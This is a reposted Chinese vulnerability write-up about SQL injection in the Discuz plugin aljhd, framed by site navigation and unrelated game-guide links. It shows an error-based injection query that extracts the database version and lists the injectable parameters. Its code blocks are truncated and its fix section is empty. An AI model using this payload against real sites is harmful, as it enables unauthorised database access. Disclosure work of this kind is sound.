最新下载
热门教程
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
Discuz某插件sql注射漏洞
时间:2022-06-25 16:27:52 编辑:袖梨 来源:一聚教程网
Author:Saline
Email:[email protected]
文件source/plugin/aljhd/aljhd.inc.php122行附近
代码如下 | 复制代码 |
}else{ |
然后其中的fetch_all_by_ym fetch_all_by_type fetch_all_by_ym_type_status count_by_ym_type_status几个函数在
文件source/plugin/aljhd/table/table_alj_hd.php中找到了
代码如下 | 复制代码 |
class table_alj_hd extends discuz_table |
发现对其中的ym仅仅是做了addslashes处理,我们知道的addslashes编码仅仅是在gbk下才有作用,所有整个显得鸡肋
代码如下 | 复制代码 |
select count(*) from alj_hd where 1 and ym=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) and type=1 |
测试
word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-">可注入参数imes,ljtype,m,orderby,page,telid
贴一个ljtype的
随便找一个
POST测试一下
修复方案:
=-=~好多站都关了这个插件。。。
相关文章
- 创造与魔法希腊恋人服装怎么获取 04-30
- 奇迹暖暖第二卷的3-2怎么过攻略 04-30
- 蛋仔派对潮玩大作战派对手册如何 04-30
- 奥比岛手游怎么改名字攻略 04-30
- 明日之后黑珍珠区蓝潮探索隐藏宝箱攻略 04-30
- 逆水寒手游人生八苦奇遇达成方法解析 04-30